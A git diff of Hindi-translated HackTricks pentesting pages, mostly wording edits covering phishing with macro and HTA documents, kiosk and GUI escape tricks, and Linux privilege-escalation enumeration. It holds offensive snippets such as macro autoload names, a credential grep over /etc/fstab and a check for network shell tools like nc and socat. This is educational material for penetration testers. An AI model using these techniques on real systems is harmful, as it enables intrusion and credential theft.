(यदि कोई हो)। #### 5.1 स्वचालित उपकरण @@ -50,7 +50,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **5.2 ब्रूट-फोर्सिंग सेवाएं** -कुछ परिदृश्यों में **ब्रूट-फोर्स** एक **सेवा** को **समझौता** करने के लिए उपयोगी हो सकता है। [**यहां विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](../generic-hacking/brute-force.md)**।** +कुछ परिदृश्यों में **ब्रूट-फोर्स** एक **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहां विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](../generic-hacking/brute-force.md)**।** ### 6- [फिशिंग](phishing-methodology/index.html) @@ -60,7 +60,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](../generic-hacking/reverse-shells/index.html)। -विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जांच करें**](../windows-hardening/av-bypass.md)**।**\\ +विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जांच करें**](../windows-hardening/av-bypass.md)**।** ### 8- अंदर @@ -91,14 +91,14 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **10.2- डोमेन प्रिवेस्क** -यहां आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/index.html)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया एक पेंटेस्टिंग/रेड टीम असाइनमेंट पर **अत्यंत नाजुक** हो सकती है। +यहां आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी रूप से बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/index.html)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यंत नाजुक** हो सकती है। -### 11 - पोस्ट +### 11 - POST #### **11**.1 - लूटना जांचें कि क्या आप होस्ट के अंदर अधिक **पासवर्ड** पा सकते हैं या यदि आपके पास **अपने उपयोगकर्ता के विशेषाधिकारों** के साथ **अन्य मशीनों** तक पहुंच है।\ -यहां Windows में [**पासवर्ड डंप करने के विभिन्न तरीकों**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें। +यहां विभिन्न तरीकों से [**Windows में पासवर्ड डंप करने**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें। #### 11.2 - स्थिरता @@ -111,7 +111,7 @@ TODO: Windows और Linux में स्थिरता पोस्ट प **एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई मेज़बानों का पता लगाने और स्कैन करने** की आवश्यकता हो (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहां आपका शिकार जुड़ा हुआ है।\ इस मामले में, टनलिंग आवश्यक हो सकती है। यहां आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](../generic-hacking/tunneling-and-port-forwarding.md)।\ -आपको सक्रिय निर्देशिका पेंटेस्टिंग पद्धति के बारे में पोस्ट की भी जांच करनी चाहिए](../windows-hardening/active-directory-methodology/index.html)। वहां आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार तरकीबें मिलेंगी।\ +आपको सक्रिय निर्देशिका पेंटेस्टिंग पद्धति के बारे में पोस्ट की भी जांच करनी चाहिए](../windows-hardening/active-directory-methodology/index.html)। वहां आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स को डंप करने के लिए शानदार तरकीबें मिलेंगी।\ [**NTLM**](../windows-hardening/ntlm/index.html) के बारे में पृष्ठ की भी जांच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है। ### अधिक diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 4c356717f..c34f048eb 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,25 +1,25 @@ -# फ़िशिंग फ़ाइलें और दस्तावेज़ +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} -## कार्यालय दस्तावेज़ +## Office Documents Microsoft Word फ़ाइल खोलने से पहले फ़ाइल डेटा मान्यता करता है। डेटा मान्यता डेटा संरचना पहचान के रूप में OfficeOpenXML मानक के खिलाफ की जाती है। यदि डेटा संरचना पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी। -आमतौर पर, मैक्रोज़ वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनके मैक्रो निष्पादन क्षमताओं को बनाए रखना संभव है।\ -उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन द्वारा मैक्रोज़ का समर्थन नहीं करती है, लेकिन RTF में नामांकित DOCM फ़ाइल Microsoft Word द्वारा संभाली जाएगी और मैक्रो निष्पादन के लिए सक्षम होगी।\ +आमतौर पर, मैक्रोज़ वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनकी मैक्रो निष्पादन क्षमताएँ बनाए रखना संभव है।\ +उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन द्वारा मैक्रोज़ का समर्थन नहीं करती है, लेकिन RTF में नाम बदली गई DOCM फ़ाइल को Microsoft Word द्वारा संभाला जाएगा और यह मैक्रो निष्पादन के लिए सक्षम होगी।\ सभी Microsoft Office Suite (Excel, PowerPoint आदि) के सॉफ़्टवेयर पर समान आंतरिक और तंत्र लागू होते हैं। -आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ कार्यालय कार्यक्रमों द्वारा निष्पादित किए जाने वाले हैं: +आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ Office प्रोग्रामों द्वारा निष्पादित किए जाने वाले हैं: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (File –Options –Add-ins –Manage: Templates –Go) का संदर्भ देते हुए मैक्रोज़ को "निष्पादित" कर सकती हैं। +DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (File –Options –Add-ins –Manage: Templates –Go) का संदर्भ लेते हुए जो मैक्रोज़ शामिल करती हैं, "execute" मैक्रोज़ कर सकती हैं। ### बाहरी छवि लोड जाएँ: _Insert --> Quick Parts --> Field_\ -&#xNAN;_**श्रेणियाँ**: Links and References, **फ़ाइल नाम**: includePicture, और **फ़ाइल नाम या URL**:_ http://\/whatever +_**श्रेणियाँ**: Links and References, **Filed names**: includePicture, और **Filename or URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -29,7 +29,7 @@ DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (F #### ऑटोलोड फ़ंक्शन -जितना सामान्य होंगे, उतना ही अधिक संभावना है कि AV उन्हें पहचान लेगा। +जितना अधिक सामान्य होंगे, उतना ही अधिक संभावना है कि AV उन्हें पहचान लेगा। - AutoOpen() - Document_Open() @@ -71,7 +71,7 @@ proc.Create "powershell #### डॉक एक्सटेंशन जब समाप्त हो जाए, तो **Save as type** ड्रॉपडाउन का चयन करें, फ़ॉर्मेट को **`.docx`** से **Word 97-2003 `.doc`** में बदलें।\ -यह करें क्योंकि आप **`.docx`** के अंदर मैक्रो नहीं सहेज सकते हैं और **`.docm`** एक्सटेंशन के चारों ओर एक **स्टिग्मा** है (जैसे थंबनेल आइकन में एक बड़ा `!` है और कुछ वेब/ईमेल गेटवे उन्हें पूरी तरह से ब्लॉक कर देते हैं)। इसलिए, यह **विरासत `.doc` एक्सटेंशन सबसे अच्छा समझौता है**। +यह करें क्योंकि आप **`.docx`** के अंदर मैक्रो नहीं सहेज सकते हैं और **`.docm`** एक्सटेंशन के चारों ओर एक **कलंक** है (जैसे, थंबनेल आइकन में एक बड़ा `!` है और कुछ वेब/ईमेल गेटवे उन्हें पूरी तरह से ब्लॉक कर देते हैं)। इसलिए, यह **विरासत `.doc` एक्सटेंशन सबसे अच्छा समझौता है**। #### दुर्भावनापूर्ण मैक्रोज़ जनरेटर @@ -83,7 +83,7 @@ proc.Create "powershell HTA एक Windows प्रोग्राम है जो **HTML और स्क्रिप्टिंग भाषाओं (जैसे VBScript और JScript)** को **संयोजित** करता है। यह उपयोगकर्ता इंटरफ़ेस उत्पन्न करता है और "पूर्ण रूप से विश्वसनीय" एप्लिकेशन के रूप में निष्पादित होता है, बिना ब्राउज़र की सुरक्षा मॉडल की सीमाओं के। -HTA को **`mshta.exe`** का उपयोग करके निष्पादित किया जाता है, जो आमतौर पर **Internet Explorer** के साथ **स्थापित** होता है, जिससे **`mshta` IE पर निर्भर होता है**। इसलिए यदि इसे अनइंस्टॉल कर दिया गया है, तो HTA निष्पादित नहीं हो पाएंगे। +HTA को **`mshta.exe`** का उपयोग करके निष्पादित किया जाता है, जो आमतौर पर **Internet Explorer** के साथ **स्थापित** होता है, जिससे **`mshta` IE पर निर्भर होता है**। इसलिए, यदि इसे अनइंस्टॉल कर दिया गया है, तो HTA निष्पादित नहीं हो पाएंगे। ```html <--! Basic HTA Execution --> @@ -157,6 +157,6 @@ self.close यह न भूलें कि आप केवल हैश या प्रमाणीकरण को चुरा नहीं सकते बल्कि **NTLM रिले हमले** भी कर सकते हैं: - [**NTLM रिले हमले**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (NTLM रिले से प्रमाणपत्र)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**AD CS ESC8 (प्रमाणपत्रों के लिए NTLM रिले)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 31a6e2bd6..f3d8cd1a2 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -9,9 +9,9 @@ | घटक | क्रिया | | ------------ | ------------------------------------------------------------------ | | पावर बटन | डिवाइस को बंद और फिर से चालू करने से प्रारंभ स्क्रीन प्रकट हो सकती है | -| पावर केबल | जांचें कि क्या डिवाइस थोड़े समय के लिए पावर कटने पर पुनः चालू होता है | -| USB पोर्ट | अधिक शॉर्टकट के साथ भौतिक कीबोर्ड कनेक्ट करें | -| ईथरनेट | नेटवर्क स्कैन या स्निफिंग आगे के शोषण को सक्षम कर सकती है | +| पावर केबल | जांचें कि क्या डिवाइस थोड़े समय के लिए पावर कट होने पर पुनः चालू होता है | +| USB पोर्ट | अधिक शॉर्टकट के साथ भौतिक कीबोर्ड कनेक्ट करें | +| ईथरनेट | नेटवर्क स्कैन या स्निफिंग आगे की शोषण की अनुमति दे सकती है | ## GUI एप्लिकेशन के अंदर संभावित क्रियाओं की जांच करें @@ -50,7 +50,7 @@ _bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](http - **पर्यावरण चर**: कई पर्यावरण चर हैं जो कुछ पथ की ओर इशारा कर रहे हैं - **अन्य प्रोटोकॉल**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **प्रतीकात्मक लिंक** -- **शॉर्टकट**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंदीदा), CTRL-H (इतिहास), CTRL-L, CTRL-O (फाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (सहेजें जैसे) +- **शॉर्टकट**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंदीदा), CTRL-H (इतिहास), CTRL-L, CTRL-O (फाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (जैसे सहेजें) - छिपा हुआ प्रशासनिक मेनू: CTRL-ALT-F8, CTRL-ESC-F9 - **शेल URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ - **UNC पथ**: साझा फ़ोल्डरों से कनेक्ट करने के लिए पथ। आपको स्थानीय मशीन के C$ से कनेक्ट करने का प्रयास करना चाहिए ("\\\127.0.0.1\c$\Windows\System32") @@ -88,13 +88,13 @@ _bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](http ### शॉर्टकट -- स्टिकी कीज़ – SHIFT को 5 बार दबाएँ +- स्टिकी कीज़ – SHIFT को 5 बार दबाएं - माउस कीज़ – SHIFT+ALT+NUMLOCK -- उच्च विपरीत – SHIFT+ALT+PRINTSCN +- हाई कॉन्ट्रास्ट – SHIFT+ALT+PRINTSCN - टॉगल कीज़ – NUMLOCK को 5 सेकंड के लिए दबाए रखें -- फ़िल्टर कीज़ – दाएँ SHIFT को 12 सेकंड के लिए दबाए रखें +- फ़िल्टर कीज़ – दाहिने SHIFT को 12 सेकंड के लिए दबाए रखें - WINDOWS+F1 – विंडोज़ खोज -- WINDOWS+D – डेस्कटॉप दिखाएँ +- WINDOWS+D – डेस्कटॉप दिखाएं - WINDOWS+E – विंडोज़ एक्सप्लोरर लॉन्च करें - WINDOWS+R – रन - WINDOWS+U – एक्सेस सेंटर @@ -113,16 +113,16 @@ _bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](http ### स्वाइप -- बाईं ओर से दाईं ओर स्वाइप करें सभी खुले विंडोज़ देखने के लिए, KIOSK ऐप को कम करने और सीधे पूरे OS तक पहुँचने के लिए; -- दाईं ओर से बाईं ओर स्वाइप करें एक्शन सेंटर खोलने के लिए, KIOSK ऐप को कम करने और सीधे पूरे OS तक पहुँचने के लिए; +- बाईं ओर से दाईं ओर स्वाइप करें सभी खुले विंडोज़ देखने के लिए, KIOSK ऐप को कम करना और सीधे पूरे OS तक पहुँच प्राप्त करना; +- दाईं ओर से बाईं ओर स्वाइप करें एक्शन सेंटर खोलने के लिए, KIOSK ऐप को कम करना और सीधे पूरे OS तक पहुँच प्राप्त करना; - शीर्ष किनारे से स्वाइप करें ताकि पूर्ण स्क्रीन मोड में खोले गए ऐप के लिए शीर्षक बार दिखाई दे; -- नीचे से स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में कार्य पट्टी दिखाई दे। +- नीचे से ऊपर की ओर स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में कार्य पट्टी दिखाई दे। ### इंटरनेट एक्सप्लोरर ट्रिक्स #### 'इमेज टूलबार' -यह एक टूलबार है जो इमेज पर क्लिक करने पर शीर्ष-बाएँ पर प्रकट होता है। आप सहेजने, प्रिंट करने, मेल करने, एक्सप्लोरर में "मेरी तस्वीरें" खोलने में सक्षम होंगे। Kiosk को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए। +यह एक टूलबार है जो इमेज पर क्लिक करने पर शीर्ष-बाईं ओर प्रकट होता है। आप सहेजने, प्रिंट करने, मेल करने, एक्सप्लोरर में "मेरी तस्वीरें" खोलने में सक्षम होंगे। Kiosk को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए। #### शेल प्रोटोकॉल @@ -159,7 +159,7 @@ _bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](http iKat संस्करणों का बैकअप: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) JavaScript का उपयोग करके एक सामान्य संवाद बनाएं और फ़ाइल एक्सप्लोरर तक पहुँचें: `document.write('')`\ स्रोत: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -170,15 +170,15 @@ JavaScript का उपयोग करके एक सामान्य स - चार (या पांच) उंगलियों के साथ ऊपर स्वाइप करें / होम बटन को डबल-टैप करें: मल्टीटास्क दृश्य देखने और ऐप बदलने के लिए - चार या पांच उंगलियों के साथ एक दिशा में स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए -- पांच उंगलियों के साथ स्क्रीन को चुटकी लें / होम बटन को छूएं / स्क्रीन के नीचे से 1 उंगली के साथ तेजी से ऊपर स्वाइप करें: होम तक पहुँचने के लिए -- स्क्रीन के नीचे से 1 उंगली को केवल 1-2 इंच (धीरे) स्वाइप करें: डॉक प्रकट होगा +- पांच उंगलियों के साथ स्क्रीन को चुटकी लें / होम बटन को छूएं / स्क्रीन के नीचे से 1 उंगली के साथ तेजी से ऊपर की ओर स्वाइप करें: होम तक पहुँचने के लिए +- स्क्रीन के नीचे से 1-2 इंच (धीरे) एक उंगली के साथ स्वाइप करें: डॉक प्रकट होगा - स्क्रीन के शीर्ष से 1 उंगली के साथ नीचे स्वाइप करें: अपनी सूचनाएँ देखने के लिए - स्क्रीन के शीर्ष-दाएँ कोने से 1 उंगली के साथ नीचे स्वाइप करें: iPad Pro का नियंत्रण केंद्र देखने के लिए - स्क्रीन के बाएँ से 1-2 इंच के लिए 1 उंगली के साथ स्वाइप करें: आज का दृश्य देखने के लिए -- स्क्रीन के केंद्र से दाएँ या बाएँ तेजी से 1 उंगली के साथ स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए -- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को दबाएँ + **पावर ऑफ** स्लाइडर को दाएँ तक खींचें: पावर ऑफ करने के लिए -- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को दबाएँ और होम बटन को कुछ सेकंड के लिए दबाएँ: हार्ड पावर ऑफ करने के लिए -- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को दबाएँ और होम बटन को जल्दी दबाएँ: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के निचले बाएँ में पॉप अप होगा। दोनों बटन को एक साथ बहुत संक्षेप में दबाएँ जैसे कि यदि आप उन्हें कुछ सेकंड के लिए दबाए रखते हैं तो एक हार्ड पावर ऑफ किया जाएगा। +- स्क्रीन के केंद्र से दाएँ या बाएँ तेज़ी से 1 उंगली के साथ स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए +- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को दबाए रखें + **पावर ऑफ** स्लाइडर को दाएँ तक खींचें: पावर ऑफ करने के लिए +- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को कुछ सेकंड के लिए होम बटन के साथ दबाएं: हार्ड पावर ऑफ करने के लिए +- ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/सोने के बटन को जल्दी से होम बटन के साथ दबाएं: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के निचले बाएँ में पॉप अप होगा। दोनों बटन को एक साथ बहुत संक्षेप में दबाएं जैसे कि यदि आप उन्हें कुछ सेकंड के लिए दबाए रखते हैं तो एक हार्ड पावर ऑफ किया जाएगा। ### शॉर्टकट @@ -211,35 +211,35 @@ JavaScript का उपयोग करके एक सामान्य स | F10 | म्यूट | | F11 | ध्वनि को कम करें | | F12 | ध्वनि को बढ़ाएँ | -| ⌘ Space | उपलब्ध भाषाओं की सूची प्रदर्शित करें; एक चुनने के लिए, फिर से स्पेस बार दबाएँ। | +| ⌘ Space | उपलब्ध भाषाओं की सूची प्रदर्शित करें; एक चुनने के लिए, फिर से स्पेस बार दबाएं। | #### iPad नेविगेशन | शॉर्टकट | क्रिया | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | होम पर जाएँ | -| ⌘⇧H (कमांड-शिफ्ट-H) | होम पर जाएँ | +| ⌘H | होम पर जाएं | +| ⌘⇧H (कमांड-शिफ्ट-H) | होम पर जाएं | | ⌘ (स्पेस) | स्पॉटलाइट खोलें | | ⌘⇥ (कमांड-टैब) | पिछले दस उपयोग किए गए ऐप्स की सूची | -| ⌘\~ | अंतिम ऐप पर जाएँ | +| ⌘\~ | अंतिम ऐप पर जाएं | | ⌘⇧3 (कमांड-शिफ्ट-3) | स्क्रीनशॉट (निचले बाएँ में सहेजने या उस पर कार्य करने के लिए) | | ⌘⇧4 | स्क्रीनशॉट और इसे संपादक में खोलें | | ⌘ को दबाए रखें | ऐप के लिए उपलब्ध शॉर्टकट की सूची | | ⌘⌥D (कमांड-ऑप्शन/Alt-D) | डॉक लाएगा | -| ^⌥H (कंट्रोल-ऑप्शन-H) | होम बटन | -| ^⌥H H (कंट्रोल-ऑप्शन-H-H) | मल्टीटास्क बार दिखाएँ | -| ^⌥I (कंट्रोल-ऑप्शन-i) | आइटम चयनकर्ता | +| ^⌥H (नियंत्रण-ऑप्शन-H) | होम बटन | +| ^⌥H H (नियंत्रण-ऑप्शन-H-H) | मल्टीटास्क बार दिखाएं | +| ^⌥I (नियंत्रण-ऑप्शन-i) | आइटम चयनकर्ता | | Escape | वापस बटन | | → (दाएँ तीर) | अगला आइटम | -| ← (बाएँ तीर) | पिछला आइटम | +| ← (बाएँ तीर) | पिछला आइटम | | ↑↓ (ऊपर तीर, नीचे तीर) | चयनित आइटम पर एक साथ टैप करें | | ⌥ ↓ (विकल्प-नीचे तीर) | नीचे स्क्रॉल करें | -| ⌥↑ (विकल्प-ऊपर तीर) | ऊपर स्क्रॉल करें | -| ⌥← या ⌥→ (विकल्प-बाएँ तीर या विकल्प-दाएँ तीर) | बाएँ या दाएँ स्क्रॉल करें | -| ^⌥S (कंट्रोल-ऑप्शन-S) | वॉयसओवर स्पीच को चालू या बंद करें | +| ⌥↑ (विकल्प-ऊपर तीर) | ऊपर स्क्रॉल करें | +| ⌥← या ⌥→ (विकल्प-बाएँ तीर या विकल्प-दाएँ तीर) | बाएँ या दाएँ स्क्रॉल करें | +| ^⌥S (नियंत्रण-ऑप्शन-S) | वॉयसओवर स्पीच को चालू या बंद करें | | ⌘⇧⇥ (कमांड-शिफ्ट-टैब) | पिछले ऐप पर स्विच करें | | ⌘⇥ (कमांड-टैब) | मूल ऐप पर वापस स्विच करें | -| ←+→, फिर विकल्प + ← या विकल्प+→ | डॉक के माध्यम से नेविगेट करें | +| ←+→, फिर विकल्प + ← या विकल्प+→ | डॉक के माध्यम से नेविगेट करें | #### सफारी शॉर्टकट @@ -249,25 +249,25 @@ JavaScript का उपयोग करके एक सामान्य स | ⌘T | नया टैब खोलें | | ⌘W | वर्तमान टैब बंद करें | | ⌘R | वर्तमान टैब को ताज़ा करें | -| ⌘. | वर्तमान टैब को लोड करना रोकें | -| ^⇥ | अगले टैब पर स्विच करें | -| ^⇧⇥ (कंट्रोल-शिफ्ट-टैब) | पिछले टैब पर जाएँ | -| ⌘L | टेक्स्ट इनपुट/URL फ़ील्ड का चयन करें ताकि इसे संशोधित किया जा सके | +| ⌘. | वर्तमान टैब को लोड करना बंद करें | +| ^⇥ | अगले टैब पर स्विच करें | +| ^⇧⇥ (नियंत्रण-शिफ्ट-टैब) | पिछले टैब पर जाएं | +| ⌘L | टेक्स्ट इनपुट/URL फ़ील्ड को संशोधित करने के लिए चुनें | | ⌘⇧T (कमांड-शिफ्ट-T) | अंतिम बंद किए गए टैब को खोलें (कई बार उपयोग किया जा सकता है) | -| ⌘\[ | आपके ब्राउज़िंग इतिहास में एक पृष्ठ पीछे जाएँ | -| ⌘] | आपके ब्राउज़िंग इतिहास में एक पृष्ठ आगे जाएँ | -| ⌘⇧R | रीडर मोड सक्रिय करें | +| ⌘\[ | आपके ब्राउज़िंग इतिहास में एक पृष्ठ पीछे जाएं | +| ⌘] | आपके ब्राउज़िंग इतिहास में एक पृष्ठ आगे जाएं | +| ⌘⇧R | रीडर मोड सक्रिय करें | #### मेल शॉर्टकट | शॉर्टकट | क्रिया | | -------------------------- | ---------------------------- | | ⌘L | स्थान खोलें | -| ⌘T | नया टैब खोलें | +| ⌘T | नया टैब खोलें | | ⌘W | वर्तमान टैब बंद करें | | ⌘R | वर्तमान टैब को ताज़ा करें | -| ⌘. | वर्तमान टैब को लोड करना रोकें | -| ⌘⌥F (कमांड-ऑप्शन/Alt-F) | आपके मेलबॉक्स में खोजें | +| ⌘. | वर्तमान टैब को लोड करना बंद करें | +| ⌘⌥F (कमांड-ऑप्शन/Alt-F) | आपके मेलबॉक्स में खोजें | ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 3ee8ce38f..f52aac5a4 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -35,11 +35,11 @@ searchsploit "Linux Kernel" आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **compiled exploits** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)।\ अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -उन वेबसाइट से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं: +उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -कर्नेल एक्सप्लॉइट्स की खोज में मदद करने के लिए उपकरण हैं: +कर्नेल एक्सप्लॉइट्स की खोज करने में मदद करने के लिए उपकरण हैं: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -यदि आप एक docker कंटेनर के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: +यदि आप एक डॉकर कंटेनर के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Drives -जांचें **क्या माउंट किया गया है और क्या अनमाउंट किया गया है**, कहाँ और क्यों। यदि कुछ अनमाउंट किया गया है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं। +चेक करें **क्या माउंटेड और अनमाउंटेड है**, कहाँ और क्यों। यदि कुछ अनमाउंटेड है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं। ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर) +इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको किसी कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)। ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc 